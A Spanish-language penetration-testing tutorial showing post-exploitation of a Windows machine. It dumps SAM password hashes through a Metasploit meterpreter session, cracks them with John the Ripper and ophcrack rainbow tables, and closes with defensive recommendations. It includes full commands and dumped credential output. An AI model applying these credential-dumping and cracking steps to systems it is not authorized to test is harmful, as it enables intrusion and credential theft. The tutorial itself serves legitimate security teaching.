Vous êtes sur la page 1sur 3

Post-explotacin con John the Ripper y ophcrack

El objetivo que se fija un pentester a la hora de hacer un test de intrusin se resumira bsicamente en intentar saber hasta donde es capaz de llegar. Por regla general, si conseguimos vulnerar una mquina que se encuentre seguramente en una DMZ, estaremos en una posicin ventajosa para acceder a recursos que no estn accesibles directamente desde Internet. Todo depende claro est de cmo de restringida se encuentre dicha mquina. Una tcnica que se suele utilizar y que sorprendentemente da buenos resultados es conseguir las credenciales de administrador del equipo vulnerado y comprobar si el resto de mquinas accesibles comparten la misma contrasea. En el caso de sistemas Windows, el sistema operativo almacena las contraseas cifradas en el fichero SAM con los algoritmos LM o NTLM. En sistemas anteriores a Windows Vista o Windows 2008, el algoritmo de cifrado por defecto es LM. Desgraciadamente (o por suerte para el pentester) este cifrado es muy dbil por su diseo: soporta un tamao mximo de contrasea de 14 caracteres, no distingue maysculas de minsculas, almacena el hash en dos mitades de 7 caracteres, y no aade sal en el almacenamiento para aadirle aleatoriedad, hacindolo muy vulnerable a ataques por fuerza bruta o por tablas precomputadas. Vamos a plantear una situacin, en la que el pentester ha conseguido vulnerar una mquina Windows, utilizando algn exploit con el framework Metasploit, y obteniendo una sesin de meterpreter en el equipo vctima. Aprovechando las herramientas de post-explotacin que dispone, conseguir recuperar los hashes de las contraseas para poder descifrarlas usando como ejemplo tanto herramientas de fuerza bruta como de tablas precomputadas. Empezamos recuperando los hashes almacenados en la SAM:
meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 585b74c7ff838e022f0eec1055101b13... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes... Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c: :: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:b15d5d5481a42f69a833d08036fe8423:88fb91f49c1bfbeebfb3531f241c887a ::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:34cfaa8dea7015716ae64fefd9c7f 205::: victima:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

Este paso ha sido fcil, pero en la jungla salvaje no suele ser tan sencillo. Sin profundizar mucho sobre el tema, a veces necesitaremos permisos de Administrador o SYSTEM y habr que escalar privilegios. La shell de meterpreter tiene varios mtodos, aunque el ms sencillo son los comandos priv y getsystem. Si escalando privilegios tampoco tuviramos permiso para recuperar la SAM, es posible que sea necesario migrar el proceso de meterpreter al uid de un proceso creado por SYSTEM. Normalmente lsass.exe suele reunir dichas caractersticas. Salimos de la sesion de meterpreter con la orden
meterpreter > background

Una mejora importante que han incluido en la versin 4 de Metasploit es que han integrado la base de datos dentro del core, por lo que ahora por defecto toda informacin que vayamos recuperando se ir almacenando automticamente en un workspace de la base de datos. Estos datos podrn ser entonces utilizados por otros plugins. Vamos a comprobar que efectivamente los hashes estn almacenados:
msf > creds Credentials =========== host port user pass type active? ---- ---- ---- ---- ---- ------10.10.10.124 445 Administrator e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c 10.10.10.124 445 Guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 10.10.10.124 445 HelpAssistant b15d5d5481a42f69a833d08036fe8423:88fb91f49c1bfbeebfb3531f241c887a 10.10.10.124 445 SUPPORT_388945a0 aad3b435b51404eeaad3b435b51404ee:34cfaa8dea7015716ae64fefd9c7f205 10.10.10.124 445 victima e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c [*] Found 5 credentials.

smb_hash true smb_hash true smb_hash true smb_hash true smb_hash true

Comenzaremos utilizando el mdulo de John the Ripper, introducido en la versin 4 de Metasploit. Su uso es extremadamente sencillo. Solo hay que cargar el mdulo y lanzarlo. l ya se encargar de leer los hashes del workspace donde estemos y darles caa.
msf > use auxiliary/analyze/jtr_crack_fast msf auxiliary(jtr_crack_fast) > run [*] Seeded the password database with 6 words... guesses: 2 time: 0:00:00:04 DONE (Thu Aug 25 18:11:06 2011) c/s: 8170K trying: WNO1900 - ZZZ1900 Warning: passwords printed above might be partial and not be all those cracked [cut]

Despus de unos pocos instantes (en este caso, todo depende de la potencia de proceso del equipo) JtR termina informando que ha descifrado de forma exitosa los hashes. Veamos ahora que hay en la base de datos:
msf auxiliary(jtr_crack_fast) > creds Credentials =========== host port user pass type active? ---- ---- ---- ---- ---- ------10.10.10.124 445 Administrator e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c 10.10.10.124 445 Guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 10.10.10.124 445 HelpAssistant b15d5d5481a42f69a833d08036fe8423:88fb91f49c1bfbeebfb3531f241c887a 10.10.10.124 445 SUPPORT_388945a0 aad3b435b51404eeaad3b435b51404ee:34cfaa8dea7015716ae64fefd9c7f205 10.10.10.124 445 victima e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c 10.10.10.124 445 Administrator password password true

smb_hash true smb_hash true smb_hash true smb_hash true smb_hash true

10.10.10.124 445 Guest password true 10.10.10.124 445 victima password password true [*] Found 8 credentials.

Ha actualizado la tabla de credenciales con las contraseas descubiertas para cada usuario. Como se puede observar, la contrasea de administrador es password. Obviamente es una contrasea muy sencilla, de diccionario y no excesivamente larga. Si pusiramos una palabra con caracteres especiales el mdulo de Metasploit ahora mismo no sera capaz de descifrarlas, puesto que la adaptacin de JtR a Metasploit est en una fase muy temprana y no permite ahora mismo configurar las opciones. Adems, al aadirle complejidad a la contrasea, el tiempo de computacin sera bastante ms alto y quizs no crackee los hashes en un tiempo razonable. Para estos casos, utilizar rainbow tables o tablas precomputadas es la solucin ideal. Usaremos como ejemplo la herramienta ophcrack. Se encuentra disponible en la mayora de distribuciones y su interfaz grfica es muy sencilla de usar. Har falta descargar aparte las rainbow tables. En la misma web se pueden conseguir algunas tablas de forma gratuita.
spanker@Zerus:~$ ophcrack-cli -d rainbowtables/ -t special,0,3:tables_xp_free_fast,0,3 -f hashdump 3 hashes have been found in hashdump. Opened 2 table(s) from rainbowtables//special,0,3. Opened 2 table(s) from rainbowtables//tables_xp_free_fast,0,3. 0h 0m 5s; Found password CHUNG4 for 2nd LM hash #0in table XP free fast #3 at column 4859. 0h 0m 10s; Found password PAL4BR@ for 1st LM hash #0in table XP special #0 at column 17711. 0h 0m 10s; Found password Pal4br@Chung4 for user victima (NT hash #0) 0h 0m 10s; search (100%); tables: total 4, done 0, using 3; pwd found 1/1. Results: username / hash LM password NT password victima PAL4BR@CHUNG4 Pal4br@Chung4

Podemos observar que en tan solo 10 segundos ha conseguido crackear una contrasea compleja, Pal4br@Chung4. Obtenida la contrasea de administrador en texto plano, podemos probar a autenticarnos con dicha credencial en los servicios que sean visibles desde la mquina vulnerada, y a cruzar los dedos! Este ejemplo sencillo de intrusin, sin embargo, se podra haber evitado si se hubieran tomado las siguiente medidas: Nunca repetir contrasea en ningn servicio de ningn equipo. Si alguna de esas contraseas sale a la luz, te evitas que el fallo de seguridad se propague a otros servicios. Deshabilitar el uso de LM a la hora de almacenar las contraseas en la SAM. Forzar el uso de NTLM. Utilizar contraseas fuertes. Si son de ms de 14 caracteres tambin ests forzando a que se almacene solo con NTLM. Aislar en la mayor medida de lo posible las mquinas de la red DMZ del resto de equipos. Que tenga visibilidad de nicamente los servicios que le sean estrictamente necesarios.

Vous aimerez peut-être aussi